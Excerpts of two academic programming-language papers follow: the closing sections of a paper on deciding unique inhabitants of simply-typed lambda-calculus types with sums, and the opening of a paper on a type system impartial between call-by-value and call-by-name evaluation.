ap :: Monad m => m (a -> b) -> m a -> m b
ap mf ma = do ap mf ma = do

f <- mf a <- ma
a <- ma f <- mf
return (f a) return (f a)

Note that the type of bind for the exception monad, namely
∀αβ. X + α → (α → X + β) → X + β, has a sum type
thunked under a negative type. It is one typical example of type
which cannot be proved unique by the focusing discipline alone,
which is correctly recognized unique by our algorithm.

6.3 Non-Applications

Here are two related ideas we wanted to try, but that do not fit in
the simply-typed lambda-calculus; the uniqueness algorithm must
be extended to richer type systems to handle such applications.

We can check that specific instances of a given type-class are
canonically defined, but it would be nice to show as well that
some of the operators defined on any instance are uniquely defined
from the type-class methods – although one would expect this to
often fail in practice if the uniqueness checker doesn’t understand
the equational laws required of valid instances. Unfortunately, this
would require uniqueness check with polymorphic types in context
(for the polymorphic methods).

Another idea is to verify the coherence property of a set of de-
clared instances by translating instance declarations into terms, and
checking uniqueness of the required instance types. In particular,
one can model the inheritance of one class upon another using a
pair type (Comp α as a pair of a value of type Eq α and Comp-
specific methods); and the system can then check that when an in-
stance of Eq X and Comp X are declared, building Eq X directly
or projecting it from CompX correspond to βη-equivalent elabora-
tion witnesses. Unfortunately, all but the most simplistic examples
require parametrized types and polymorphic values in the environ-
ment to be faithfully modelled.

6.4 On Impure Host Programs

The type system in which program search is performed does not
need to exactly coincide with the ambiant type system of the host
programming language, for which the code-inference feature is
proposed – forcing the same type-system would kill any use from
a language with non-termination as an effect. Besides doing term
search in a pure, terminating fragment of the host language, one
could also refine search with type annotations in a richer type
system, eg. using dependent types or substructural logic – as long
as the found inhabitants can be erased back to host types.

However, this raises the delicate question of, among the unique
βη-equivalence class of programs, which candidate to select to be
actually injected into the host language. For example, the ordering
or repetition of function calls can be observed in a host language
passing impure function as arguments, and η-expansion of func-
tions can delay effects. Even in a pure language, η-expanding sums
and products may make the code less efficient by re-allocating data.
There is a design space here that we have not explored.
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7. Related and Future Work

7.1 Related Work

Previous Work on Unique Inhabitation The problem of unique
inhabitation for the simply-typed lambda-calculus (without sums)
has been formulated by Mints (1981), with early results by Babaev
and Soloviev (1982), and later results by Aoto and Ono (1994);
Aoto (1999) and Broda and Damas (2005).

These works have obtained several different sufficient condi-
tions for a given type to be uniquely inhabited. While these can-
not be used as an algorithm to decide unique inhabitation for any
type, it reveals fascinating connections between unique inhabitation
and proof or term structures. Some sufficient criterions are formu-
lated on the types/formulas themselves, other on terms (a type is
uniquely inhabited if it is inhabited by a term of a given structure).

A simple criterion on types given in Aoto and Ono (1994) is that
“negatively non-duplicated formulas”, that is formulas where each
atom occurs at most once in negative position (nested to the left of
an odd number of arrows), have at most one inhabitant. This was
extended by Broda and Damas (2005) to a notion of “deterministic”
formulas, defined using a specialized representation for simply-
typed proofs named “proof trees”.

Aoto (1999) proposed a criterion based on terms: a type is
uniquely inhabited if it “provable without non-prime contraction”,
that is if it has at least one inhabitant (not necessarily cut-free)
whose only variables with multiple uses are of atomic type. Re-
cently, Bourreau and Salvati (2011) used game semantics to give an
alternative presentation of Aoto’s results, and a syntactic character-
ization of all inhabitants of negatively non-duplicated formulas.

Those sufficient conditions suggest deep relations between
the static and dynamics semantics of restricted fragments of the
lambda-calculus – it is not a coincidence that contraction at non-
atomic type is also problematic in definitions of proof equivalence
coming from categorial logic (Dosen 2003). However, they give
little in the way of a decision procedure for all types – conversely,
our decision procedure does not by itself reveal the structure of the
types for which it finds unicity.

An indirectly related work is the work on retractions in simple
types (A is a retract of B if B can be surjectively mapped into
A by a λ-term). Indeed, in a type system with a unit type 1, a
given type A is uniquely inhabited if and only if it is a retract of 1.
Stirling (2013) proposes an algorithm, inspired by dialogue games,
for deciding retraction in the lambda-calculus with arrows and
products; but we do not know if this algorithm could be generalized
to handle sums. If we remove sums, focusing already provides an
algorithm for unique inhabitation.

Counting Inhabitants Broda and Damas (2005) remark that nor-
mal inhabitants of simple types can be described by a context-free
structure. This suggests, as done in Zaoinc (1995), counting terms
by solving a set of polynomial equations. Further references to such
“grammatical” approaches to lambda-term enumeration and count-
ing can be found in Dowek and Jiang (2011).

Of particular interest to us was the recent work of Wells and
Yakobowski (2004). It is similar to our work both in terms of
expected application (program fragment synthesis) and methods,
as it uses (a variant of) the focused calculus LJT (Herbelin 1993)
to perform proof search. It has sums (disjunctions), but because
it only relies on focusing for canonicity it only implements the
weak notion of η-equivalence for sums: as explained in Section 1.7,
it counts an infinite number of inhabitants in presence of a sum
thunked under a negative. Their technique to ensure termination of
enumeration is very elegant. Over the graph of all possible proof
steps in the type system (using multisets as contexts: an infinite

search space), they superimpose the graph of all possible non-
cyclic proof steps in the logic (using sets as contexts: a finite search
space). Termination is obtained, in some sense, by traversing the
two in lockstep. We took inspiration from this idea to obtain our
termination technique: our bounded multisets can be seen as a
generalization of their use of set-contexts.

Non-Classical Theorem Proving and More Canonical Systems
Automated theorem proving has motivated fundamental research
on more canonical representations of proofs: by reducing the num-
ber of redundant representations that are equivalent as programs,
one can reduce the search space – although that does not necessar-
ily improve speed, if the finer representation requires more book-
keeping. Most of this work was done first for (first-order) classi-
cal logic; efforts porting them to other logics (linear, intuitionistic,
modal) were of particular interest, as it often reveals the general
idea behind particular techniques, and is sometimes an occasion to
reformulate them in terms closer to type theory.

An important brand of work studies connection-based, or
matrix-based, proof methods. They have been adapted to non-
classical logic as soon as Wallen (1987). It is possible to present
connection-based search “uniformly” for many distinct logics (Ot-
ten and Kreitz 1996), changing only one logic-specific check to
be performed a posteriori on connections (axiom rules) of proof
candidates. In intuitionistic setting, that would be a comparison
on indices of Kripke Worlds; it is strongly related to labeled log-
ics (Galmiche and Méry 2013). On the other hand, matrix-based
methods rely on guessing the number of duplications of a formula
(contractions) that will be used in a particular proof, and we do
not know whether that can be eventually extended to second-order
polymorphism – by picking a presentation closer to the original
logic, namely focused proofs, we hope for an easier extension.

Some contraction-free calculi have been developed with auto-
mated theorem proving for intuitionistic logic in mind. A presen-
tation is given in Dyckhoff (1992) – the idea itself appeared as
early as Vorob’ev (1958). The idea is that sums and (positive) prod-
ucts do not need to be deconstructed twice, and thus need not be
contracted on the left. For functions, it is actually sufficient for
provability to implicitly duplicate the arrow in the argument case
of its elimination form (A → B may have to be used again to
build the argument A), and to forget it after the result of appli-
cation (B) is obtained. More advanced systems typically do case-
distinctions on the argument type A to refine this idea, see Dyck-
hoff (2013) for a recent survey. Unfortunately, such techniques to
reduce the search space break computational completeness: they
completely remove some programmatic behaviors. Consider the
type Stream(A,B)

def
= A ∗ (A → A ∗B) of infinite streams

of state A and elements B: with this restriction, the next-element
function can be applied at most once, hence Stream(X,Y ) → Y
is uniquely inhabited in those contraction-free calculi. (With focus-
ing, only negatives are contracted, and only when picking a focus.)

Focusing was introduced for linear logic (Andreoli 1992), but
is adaptable to many other logics. For a reference on focusing for
intuitionistic logic, see Liang and Miller (2007). To easily elaborate
programs as lambda-terms, we use a natural deduction presentation
(instead of the more common sequent-calculus presentation) of
focused logic, closely inspired by the work of Brock-Nannestad
and Schürmann (2010) on intuitionistic linear logic.

Some of the most promising work on automated theorem prov-
ing for intuitionistic logic comes from applying the so-called “In-
verse Method” (see Degtyarev and Voronkov (2001) for a classi-
cal presentation) to focused logics. The inverse method was ported
to linear logic in Chaudhuri and Pfenning (2005), and turned into
an efficient implementation of proof search for intuitionistic logic
in McLaughlin and Pfenning (2008). It is a “forward” method: to
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prove a given judgment, start with the instances of axiom rules
for all atoms in the judgment, then build all possible valid proofs
until the desired judgment is reached – the subformula property,
bounding the search space, ensures completeness for propositional
logic. Focusing allows important optimization of the method, no-
tably through the idea of “synthetic connectives”: invertible or non-
invertible phases have to be applied all in one go, and thus form
macro-steps that speed up saturation.

In comparison, our own search process alternates forward and
backward-search. At a large scale we do a backward-directed proof
search, but each non-invertible phase performs saturation, that is a
complete forward-search for positives. Note that the search space
of those saturation phases is not the subformula space of the main
judgment to prove, but the (smaller) subformula space of the cur-
rent subgoal’s context. When saturation is complete, backward
goal-directed search restarts, and the invertible phase may grow the
context, incrementally widening the search space. (The forward-
directed aspects of our system could be made richer by adding
positive products and positively-biased atoms; this is not our main
point of interest here. Our coarse choice has the good property that,
in absence of sum types in the main judgment, our algorithm im-
mediately degrades to simple, standard focused backward search.)

Lollimon (López, Pfenning, Polakow, and Watkins 2005) mixes
backward search for negatives and forward search for positives.
The logic allows but does not enforce saturation; it is only in the
implementation that (provability) saturation is used, and they found
it useful for their applications – modelling concurrent systems.

Finally, an important result for canonical proof structures
is maximal multi-focusing (Miller and Saurin 2007; Chaudhuri,
Miller, and Saurin 2008). Multi-focusing refines focusing by intro-
ducing the ability to focus on several formulas at once, in parallel,
and suggests that, among formulas equivalent modulo valid permu-
tations of inference rules, the “more parallel” one are more canoni-
cal. Indeed, maximal multi-focused proofs turn out to be equivalent
to existing more-canonical proof structures such as linear proof
nets (Chaudhuri, Miller, and Saurin 2008) and classical expansion
proofs (Chaudhuri, Hetzl, and Miller 2012).

Saturating focused proofs are almost maximal muli-focused
proofs according to the definition of Chaudhuri, Miller, and Saurin
(2008). The difference is that multi-focusing allow to focus on both
variables in the context and the goal in the same time, while our
right-focusing rule SAT-INTRO can only be applied sequentially after
SAT (which does multi-left-focusing). To recover the exact structure
of maximal multi-focusing, one would need to allow SAT to also
focus on the right, and use it only when the right choices do not
depend on the outcome on saturation of the left (the foci of the
same set must be independent), that is when none of the bound
variables are used (typically to saturate further) before the start of
the next invertible phase. This is a rather artificial restriction from
a backward-search perspective. Maximal multi-focusing is more
elegant, declarative in this respect, but is less suited to proof search.

Equivalence of Terms in Presence of Sums Ghani (1995)
first proved the decidability of equivalence of lambda-terms with
sums, using sophisticated rewriting techniques. The two works that
followed (Altenkirch, Dybjer, Hofmann, and Scott 2001; Balat,
Di Cosmo, and Fiore 2004) used normalization-by-evaluation in-
stead. Finally, Lindley (2007) was inspired by Balat, Di Cosmo,
and Fiore (2004) to re-explain equivalence through rewriting. Our
idea of “cutting sums as early as possible” was inspired from Lind-
ley (2007), but in retrospect it could be seen in the “restriction
(A)” in the normal forms of Balat, Di Cosmo, and Fiore (2004), or
directly in the “maximal conversions” of Ghani (1995).

Note that the existence of unknown atoms is an important aspect
of our calculus. Without them (starting only from base types 0 and

1), all types would be finitely inhabited. This observation is the
basis of the promising unpublished work of Ahmad, Licata, and
Harper (2010), also strongly relying on (higher-order) focusing.
Finiteness hypotheses also play an important role in Ilik (2014),
where they are used to reason on type isomorphisms in presence of
sums. Our own work does not handle 1 or 0; the latter at least is a
notorious source of difficulties for equivalence, but is also seldom
necessary in practical programming applications.

Elaboration of Implicits Probably the most visible and the
most elegant uses of typed-directed code inference for functional
languages are type-classes (Wadler and Blott 1989) and implic-
its (Oliveira, Moors, and Odersky 2010). Type classes elaboration
is traditionally presented as a satisfiability problem (or constraint
solving problem (Stuckey and Sulzmann 2002)) that happens to
have operational consequences. Implicits recast the feature as elab-
oration of a programming term, which is closer to our methodology.
Type-classes traditionally try (to various degrees of success) to en-
sure coherence, namely that a given elaboration goal always give
the same dynamic semantics wherever it happens in the program
– often by making instance declarations a toplevel-only construct.
Implicits allow a more modular construction of the elaboration
environment, but have to resort to priorities to preserve determin-
ism (Oliveira, Schrijvers, Choi, Lee, Yi, and Wadler 2014).

We propose to reformulate the question of determinism or am-
biguity by presenting elaboration as a typing problem, and proving
that the elaborated problems intrinsically have unique inhabitants.
This point of view does not by itself solve the difficult questions
of which are the good policies to avoid ambiguity, but it provides
a more declarative setting to expose a given strategy; for example,
priority to the more recently introduced implicit would translate to
an explicit weakening construct, removing older candidates at in-
troduction time, or a restricted variable lookup semantics.

(The global coherence issue is elegantly solved, independently
of our work, by using a dependent type system where the values
that semantically depend on specific elaboration choices (eg., a
balanced tree ordered with respect to some specific order) have a
type that syntactically depends on the elaboration witness. This
approach meshes very well with our view, especially in systems
with explicit equality proofs between terms, where features that
grow the implicit environment could require proofs from the user
that unicity is preserved.)

Smart Completion and Program Synthesis Type-directed pro-
gram synthesis has seen sophisticated work in the recent years, no-
tably Perelman, Gulwani, Ball, and Grossman (2012), Gvero, Kun-
cak, Kuraj, and Piskac (2013). Type information is used to fill miss-
ing holes in partial expressions given by the users, typically among
the many choices proposed by a large software library. Many poten-
tial completions are proposed interactively to the user and ordered
by various ranking heuristics.

Our uniqueness criterion is much more rigid: restrictive (it has
far less potential applications) and principled (there are no heuris-
tics or subjective preferences at play). Complementary, it aims for
application in richer type systems, and in programming constructs
(implicits, etc.) rather than tooling with interactive feedback.

Synthesis of glue code interfacing whole modules has been pre-
sented as a type-directed search, using type isomorphisms (Aponte
and Cosmo 1996) or inhabitation search in combinatory logics with
intersection types (Düdder et al. 2014).

We were very interested in the recent Osera and Zdancewic
(2015), which generates code from both expected type and in-
put/output examples. The works are complementary: they have in-
teresting proposals for data-structures and algorithm to make term
search efficient, while we bring a deeper connection to proof-
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theoretic methods. They independently discovered the idea that sat-
uration must use the “new” context, in their work it plays the role of
an algorithmic improvement they call “relevant term generation”.

7.2 Future Work

We hope to be able to extend the uniqueness algorithm to more
powerful type systems, such as System F polymorphism or depen-
dent types. Decidability, of course, is not to be expected: decid-
ing uniqueness is at least as hard as deciding inhabitation, and this
quickly becomes undecidable for more powerful systems. Yet, we
hope that the current saturation approach can be extended to give
an effective semi-decision procedures. We will detail below two ex-
tensions that we have started looking at, unit and empty types, and
parametric polymorphism; and two extensions we have not consid-
ered yet, substructural logics and equational reasoning.

Unit and Empty Types As an experiment, we have added a non-
formalized support for the unit type 1 and the empty type 0 to our
implementation. The unit types poses no difficulties, but we were
more surprised to notice that they empty type seems also simple to
handle – although we have not proved anything about it for now.
We add it as a positive, with the following left-introduction rule
(and no right-introduction rule):

SINV-EMPTY

Γ; ∆, x : 0 `sinv absurd(x) : A

Our saturation algorithm then naturally gives the expected equiva-
lence rule in presence of 0, which is that all programs in a inconsis-
tent context (0 is provable) are equal (A0 = 1): saturation will try
to “cut all 0”, and thus detect any inconsistency; if one or several
proofs of 0 are found, the following invertible phase will always use
the SINV-EMPTY rule, and find absurd( ) as the unique derivation.
For example, while the bind function for the A-translation monad
B 7→ (B → A) → A is not unique for arbitrary formulas A,
our extended prototype finds a unique bind for the non-delimited
continuation monad B 7→ B → 0→ 0.

Polymorphism Naively adding parametric polymorphism to the
system would suggest the following rules:

SINV-POLY
Γ; ∆, α `sinv t : A

Γ; ∆ `sinv t : ∀α.A

SELIM-POLY
Γ ` n ⇓ ∀α. A Γ ` B

Γ ` n ⇓ A[B/α]

The invertible introduction rule is trivially added to our algorithm.
It generalizes our treatment of atomic types by supporting a bit
more than purely prenex polymorphism, as it supports all quanti-
fiers in so-called “positive positions” (to the left of an even num-
ber of arrows), such as 1 → (∀α. α → α) or ((∀β. β → β) →
X) → X . However, saturating the elimination rule SELIM-POLY

would a priori require instantiating the polymorphic type with in-
finitely many instances (there is no clear subformula property any-
more). Even naive (and probably incomplete) strategies such as
instantiating with all closed formulas of the context lead to non-
termination, as for example instantiating the variable α of closed
type 1 → ∀α. α with the closed type itself leads to an infinite
regress of deduced types of the form 1→ 1→ 1→ . . . .

Another approach would be to provide a left-introduction rule
for polymorphism, based on the idea, loosely inspired by higher-
order focusing (Zeilberger 2008), that destructing a value is in-
specting all possible ways to construct it. For example, performing
proof search determines that any possible closed proof of the term
∀α. (X → Y → α) must have two subgoals, one of type X and
another of type Y ; and that there are two ways to build a closed
proof of ∀α. (X → α) → (Y → α), using either a subgoal of

type X or of type Y . How far into the traditional territory of para-
metricity can we go using canonical syntactic proof search only?

Substructural Logics Instead of moving to more polymorphic
type systems, one could move to substructural logics. We could
expect to refine a type annotation using, for example, linear arrows,
to get a unique inhabitant. We observed, however, that linearity
is often disappointing in getting “unique enough” types. Take the
polymorphic type of mapping on lists, for example: ∀αβ. (α →
β) → (List α → List β). Its inhabitants are the expected map
composed with any function that can reorder, duplicate or drop
elements from a list. Changing the two inner arrows to be linear
gives us the set of functions that may only reorder the mapped
elements: still not unique. An idea to get a unique type is to request
a mapping from (α ≤ β) to (List α ≤ List β), where the
subtyping relation (≤) is seen as a substructural arrow type.

(Dependent types also allow to capture List.map, as the unique
inhabitant of the dependent induction principle on lists is unique.)

Equational Reasoning We have only considered pure, strongly
terminating programs so far. One could hope to find monadic types
that uniquely defined transformations of impure programs (e.g.
(α → β) → M α → M β). Unfortunately, this approach would not
work by simply adding the unit and bind of the monad as formal
parameters to the context, because many programs that are only
equal up to the monadic laws would be returned by the system. It
could be interesting to enrich the search process to also normalize
by the monadic laws. In the more general case, can the search
process be extended to additional rewrite systems?

7.3 Conclusion

We have presented an algorithm that decides whether a given type
of the simply-typed lambda-calculus with sums has a unique inhab-
itant modulo βη-equivalence; starting from standard focused proof
search, the new ingredient is saturation which egarly cuts any posi-
tive that can be derived from the current context by a focused elim-
ination. Termination is obtained through a context approximation
result, remembering one or “two-or-more” variables of each type.

This is a foundational approach to questions of code inference,
yet preliminary studies suggest that there are already a few potential
applications, to be improved with future support for richer systems.

Of course, guessing a program from its type is not necessarily
beneficial if the type is as long to write (or harder to read) than
the program itself. We see code and type inference as mutually-
beneficial features, allowing the programmer to express intent in
part through the term language, in part through the type language,
playing on which has developped the more expressive definitions
or abstractions for the task at hand.
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Abstract
We classify programming languages according to evaluation order:
each language fixes one evaluation order as the default, making it
transparent to program in that evaluation order, and troublesome to
program in the other.

This paper develops a type system that is impartial with respect
to evaluation order. Evaluation order is implicit in terms, and ex-
plicit in types, with by-value and by-name versions of type connec-
tives. A form of intersection type quantifies over evaluation orders,
describing code that is agnostic over (that is, polymorphic in) eval-
uation order. By allowing such generic code, programs can express
the by-value and by-name versions of a computation without code
duplication.

We also formulate a type system that only has by-value connec-
tives, plus a type that generalizes the difference between by-value
and by-name connectives: it is either a suspension (by name) or
a “no-op” (by value). We show a straightforward encoding of the
impartial type system into the more economical one. Then we de-
fine an elaboration from the economical language to a call-by-value
semantics, and prove that elaborating a well-typed source program,
where evaluation order is implicit, produces a well-typed target pro-
gram where evaluation order is explicit. We also prove a simulation
between evaluation of the target program and reductions (either by-
value or by-name) in the source program.

Finally, we prove that typing, elaboration, and evaluation are
faithful to the type annotations given in the source program: if the
programmer only writes by-value types, no by-name reductions can
occur at run time.

Categories and Subject Descriptors F.3.3 [Mathematical Logic and
Formal Languages]: Studies of Program Constructs—Type structure
Keywords evaluation order, intersection types, polymorphism

1. Introduction
It is customary to distinguish languages according to how they
pass function arguments. We tend to treat this as a basic taxo-
nomic distinction: for example, OCaml is a call-by-value language,
while Haskell is call-by-need. Yet this taxonomy has been dubious
from the start: Algol-60, in which arguments were call-by-name by
default, also supported call-by-value. For the λ-calculus, Plotkin
(1975) showed how to use administrative reductions to translate a
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cbv program into one that behaves equivalently under cbn evalua-
tion, and vice versa. Thus, one can write a call-by-name program
in a call-by-value language, and a call-by-value program in a call-
by-name language, but at the price of administrative burdens: creat-
ing and forcing thunks (to simulate call-by-name), or using special
strict forms of function application, binding, etc. (to simulate call-
by-value).

But programmers rarely want to encode an entire program into a
different evaluation order. Rather, the issue is how to use the other
evaluation order in part of a program. For example, game search
can be expressed elegantly using a lazy tree, but in an ordinary
call-by-value language one must explicitly create and force thunks.
Conversely, a big advantage of call-by-value semantics is the rela-
tive ease of reasoning about cost (time and space); to recover some
of this ease of reasoning, languages that are not call-by-value often
have strict versions of function application and strictness annota-
tions on types.

An impartial type system. For any given language, the language
designers’ favourite evaluation order is the linguistically unmarked
case. Programmers are not forced to use that order, but must do
extra work to use another, even in languages with mechanisms
specifically designed to mitigate these burdens, such as a lazy
keyword (Wadler et al. 1998).

The first step we’ll take in this paper is to stop playing favourites:
our source language allows each evaluation order to be used as eas-
ily as the other. Our impartial type system includes by-value and
by-name versions of function types ( V→, N→), product types (∗V,
∗N), sum types (+V, +N) and recursive types (µV, µN). Using bidi-
rectional typing, which distinguishes checking and inference, we
can use information found in the types of functions to determine
whether an unmarked λ or application should be interpreted as
call-by-name or call-by-value.

What if we want to define the same operation over both eval-
uation orders, say compose, or append (that is, for strict and lazy
lists)? Must we write two identical versions, with nearly-identical
type annotations? No: We can use polymorphism based on intersec-
tion types. The abstruse reputation of intersection types is belied by
a straightforward formulation as implicit products (Dunfield 2014),
a notion also used by Chen et al. (2014) to express polymorphism
over a finite set of levels (though without using the word “inter-
section”). In these papers’ type systems, elaboration takes a poly-
morphic source program and produces a target program explicitly
specifying necessary, but tedious, constructs. For Dunfield (2014),
the extra constructs introduce and eliminate the products that were
implicit in the source language; for Chen et al. (2014), the extra
constructs support a dynamic dependency graph for efficient incre-
mental computation.

In this paper, we express the intersection type ∧ as a universal
quantifier over evaluation orders. For example, the type Da. int

a→
int corresponds to (int

V→ int) ∧ (int
N→ int). Thus, we can

type code that is generic over evaluation orders. Datatype defini-
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e⇐⇒τ

V→ ∗V +V µV

N→ ∗N +N µN

∀ D

Impartial
type system

Source language (e)

e⇐⇒S
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U (thunk)
∀
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Cbv type system
Target language (M)
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elaborate

standard cbv
evaluation
(≥ 0 steps)

Figure 1. Encoding and elaboration

tions, expressed as recursive/sum types, can also be polymorphic
in evaluation order; for example, operations on binary search trees
can be written just once. Much of the theory in this paper fol-
lows smoothly from existing work on intersection types, particu-
larly Dunfield (2014). However, since we only consider intersec-
tions equivalent to the quantified type Da. A, our intersected types
have parametric structure: they differ only in the evaluation or-
ders decorating the connectives. This limitation, a cousin of the
refinement restriction in datasort refinement systems (Freeman and
Pfenning 1991; Davies 2005), avoids the need for a merge con-
struct (Reynolds 1996; Dunfield 2014) and the issues that arise
from it.

A simple, fine-grained type system. The source language just
described meets our goal of impartiality, but the large number of
connectives yields a slightly unwieldy type system. Fortunately, we
can refine this system by abstracting out the differences between the
by-name and by-value versions of each connective. That is, each
by-name connective corresponds to a by-value connective with
suspensions (thunks) added: the by-name function type S1

N→ S2
corresponds to (U S1) → S2 where → is by-value, whereas
S1

V→ S2 is simply S1 → S2. Here, U S1 is a thunk type—
essentially 1 → S1. We realize this difference through a connective
εIS, read “ε suspend S”, where NIS corresponds to U S and
VIS is equivalent to S. This gives an economical type system with
call-by-value versions of the usual connectives (→, ∗, +, µ), plus
εIS. This type system is biased towards call-by-value (with call-
by-name being “marked”), but we can easily encode the impartial
connectives: S1

ε→ S2 becomes (εIS1) → S2, the sum type
S1 +

ε S2 becomes εI(S1 + S2), etc.
Another advantage of this type system is that, in combination

with polymorphism, it is simple to define variants of data structures
that mix different evaluation orders. For example, a single list
definition can encompass lists with strict “next pointers” (so that
“walking” the list is guaranteed linear time) and lazy elements (so
that examining the element may not be constant time), as well as
lists with lazy “next pointers” and strict contents (so that “walking”
the list is not guaranteed linear—but once a cons cell has been
produced, its element can be accessed in constant time).

Having arrived at this economical type system for source pro-
grams, in which evaluation order is implicit in terms, we develop
an elaboration that produces a target program in which evaluation
order is explicit: thunks are explicitly created and forced, and mul-
tiple versions of functions—by-value and by-name—are generated
and selected explicitly.

Contributions. This paper makes the following contributions:

(§2) We define an impartial source language and type system that
are equally suited to call-by-value and call-by-name. Using a
type Da. τ that quantifies over evaluation orders a, program-
mers can define data structures and functions that are generic
over evaluation order. The type system is bidirectional, alter-
nating between checking an expression against a known type
(derived from a type annotation) and synthesizing a type from
an expression.

(§3) Shifting to a call-by-value perspective, we abstract out the
suspensions implicit in the by-name connectives, yielding
a smaller economical type system, also suitable for a (non-
impartial) source language. We show that programs well-typed
in the impartial type system remain well-typed in the econom-
ical type system. Evaluation order remains implicit in terms,
and is specified only in type annotations, using the suspension
point εIS.

(§5) We give elaboration typing rules from the economical type
system into target programs with fully explicit evaluation order.
We prove that, given a well-typed source program, the result of
the translation is well-typed in a call-by-value target language
(Section 4).

(§6) We prove that the target program behaves like the source pro-
gram: when the target takes a step from M to M ′, the source
program that elaborated to M takes some number of steps,
yielding an expression that elaborates toM ′. We also prove that
if a program is typed (in the economical type system) without
by-name suspensions, the source program can take only “by-
value steps” possible in a cbv semantics. This result exploits a
kind of subformula property of the bidirectional type system.
Finally, we prove that if a program is impartially typed with-
out using by-value connectives, it can be economically typed
without by-name suspensions.

Figure 1 shows the structure of our approach.

Extended version with appendices. Proofs omitted from the main
paper for space reasons can be found in Dunfield (2015).

2. Source Language and Impartial Type System

Program variables x
Source expressions e ::= () | x | u | λx. e | e1 @ e2 | fix u. e

| Λα. e | e[τ] | (e:τ)
| (e1, e2) | projk e
| injk e | case(e, x1.e1, x2.e2)

Figure 2. Impartial source language syntax

Evaluation order vars. a
Evaluation orders ε ::= V | N | a
Type variables α
Valuenesses ϕ ::= val | >
Source types τ ::= 1 | α | ∀α. τ | Da. τ | τ1

ε→ τ2
| τ1 ∗ε τ2 | τ1 +ε τ2 | µεα. τ

Source typing contexts γ ::= · | γ, x ϕ⇒ τ | γ, u >⇒ τ
| γ, a evalorder | γ, α type

Figure 3. Impartial types for the source language

In our source language (Figure 2), expressions e are the unit
value (), variables x, abstraction λx. e, application e1 @ e2, fixed
points fix u. e with fixed point variables u, pairs and projections,
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and sums injk e with conditionals case(e, x1.e1, x2.e2) (short-
hand for case e of inj1 x1 ⇒ e1 || inj2 x2 ⇒ e2). Both of our type
systems for this source language—the impartial type system in this
section, and the economical type system of Section 3—have fea-
tures not evident from the source syntax: polymorphism over eval-
uation orders, and recursive types.

2.1 Values
If we wanted a standard call-by-value language, we would give
a grammar for values, and use values to define the operational
semantics (and to impose a value restriction on polymorphism
introduction). But we want an impartial language, which means
that a function argument x is a value only if the function is being
typed under call-by-value. That is, when checking (λx. e) against
type (τ

V→ τ), the variable x should be considered a value (it will
be replaced with a value at run time), but when checking against
(τ

N→ τ), it should not be considered a value (it could be replaced
with a non-value at run time). Since “valueness” depends on typing,
our typing judgments will have to carry information about whether
an expression should be considered a value.

We will also use valueness to impose a value restriction on
polymorphism over evaluation orders, as well as polymorphism
over types; see Section 2.5. In contrast, our operational semantics
for the source language (Section 2.4), which permits two flavours
(by-value and by-name) of reductions, will use a standard syntactic
definition of values in the by-value reductions.

2.2 An Impartial Type System
In terms of evaluation order, the expressions in Figure 2 are a blank
slate. You can imagine them as having whichever evaluation order
you prefer. You can write down the typing rules for functions, pairs
and sums, and you will get the same rules regardless of which
evaluation order you chose. This is the conceptual foundation for
many functional languages: start with the simply-typed λ-calculus,
choose an evaluation order, and build up the language from there.1

Our goal here is to allow different evaluation orders to be mixed.
As a first approximation, we can try to put evaluation orders in the
type system simply by decorating all the connectives. For example,
in place of the standard →-introduction rule

γ, x : τ1 ` e : τ2
γ ` (λx. e) : (τ1 → τ2)

we can decorate → with an evaluation order ε (either V or N):

γ, x : τ1 ` e : τ2
γ ` (λx. e) : (τ1

ε→ τ2)

Products ∗, sums +, and recursive types µ follow similarly.
We add a universal quantifier Da. τ over evaluation orders2. Its

rules follow the usual type-assignment rules for ∀: the introduction
rule is parametric over an arbitrary evaluation order a, and the

1 The choice need not be easy. The first call-by-name language, Algol 60,
also supported call-by-value. It seems that call-by-value was the language
committee’s preferred default, but Peter Naur, the editor of the Algol 60
report, independently reversed that decision—which he said was merely
one of a “few matters of detail” (Wexelblat 1981, p. 112). A committee
member, F.L. Bauer, said this showed that Naur “had absorbed the Holy
Ghost after the Paris meeting. . . there was nothing one could do. . . it was to
be swallowed for the sake of loyalty.” (Wexelblat 1981, p. 130).
2 The Cyrillic letter D, transliterated into English as D, bears some resem-
blance to an A (and thus to ∀); more interestingly, it is the first letter of
the Russian word da (da). Many non-Russian speakers know that this word
means “yes”, but another meaning is “and”, connecting it to intersection
types.

elimination rule replaces a with a particular evaluation order ε:

γ, a evalorder ` e : τ
γ ` e : Da. τ

γ ` e : Da. τ γ ` ε evalorder
γ ` e : [ε/a]τ

These straightforward rules have a couple of issues:

• Whether a program diverges can depend on whether it is run
under call-by-value, or call-by-name. The simply-typed λ-
calculus has the same typing rules for call-by-value and call-
by-name, because those rules cannot distinguish programs that
return something from programs that diverge. Since we want
to elaborate to call-by-value or call-by-name depending on
which type appeared, evaluation depends on the particular typ-
ing derivation. Suppose that evaluation of e2 diverges, and that
f is bound to (λx. e1). Then whether f @ e2 diverges depends
on whether the type of f has V→ or N→. The above rules allow
a compiler to make either choice. Polymorphism in the form
of D aggravates the problem: it is tempting to infer for f the
principal type Da. · · · a→ · · · ; the compiler can then choose
how to instantiate a at each of f’s call sites. Allowing such code
is one of this paper’s goals, but only when the programmer
knows that either evaluation order is sensible and has written
an appropriate type annotation or module signature.
We resolve this through bidirectional typing, which ensures that
quantifiers are introduced only via type annotation (a kind of
subformula property). Internal details of the typing derivation
still affect elaboration, and thus evaluation, but the internal
details will be consistent with programmers’ expressed intent.
• If we extend the language with effects, we may need a value

restriction in certain rules. For example, mutable references
will break type safety unless we add a value restriction to the
introduction rules for ∀ and D.
A traditional value restriction (Wright 1995) would simply re-
quire changing e to v in the introduction rules, where v is a
class of syntactic values. In our setting, whether a variable x is
a value depends on typing, so a value restriction is less straight-
forward. We resolve this by extending the typing judgment with
information about whether the expression is a value.

Bidirectional typing. We can refine the traditional typing judg-
ment into checking and synthesis judgments. In the checking judg-
ment e ⇐ τ, we already know that e should have type τ, and are
checking that e is consistent with this knowledge. In the synthesis
judgment e⇒ τ, we extract τ from e itself (perhaps directly from a
type annotation), or from assumptions available in a typing context.

The use of bidirectional typing (Pierce and Turner 2000; Dun-
field and Krishnaswami 2013) is often motivated by the need to
typecheck programs that use features Damas-Milner inference can-
not handle, such as indexed and refinement types (Xi 1998; Davies
and Pfenning 2000; Dunfield and Pfenning 2004) and higher-rank
polymorphism. But decidability is not our motivation for using
bidirectional typing. Rather, we want typing to remain predictable
even though evaluation order is implicit. By following the approach
of Dunfield and Pfenning (2004), in which “introduction forms
check, elimination forms synthesize”, we ensure that the evalu-
ation orders in typing match what programmers intended: a type
connective with a V or N evaluation order can be introduced only
by a checking judgment. Since the types in checking judgments
are derived from type annotations, they match the programmer’s
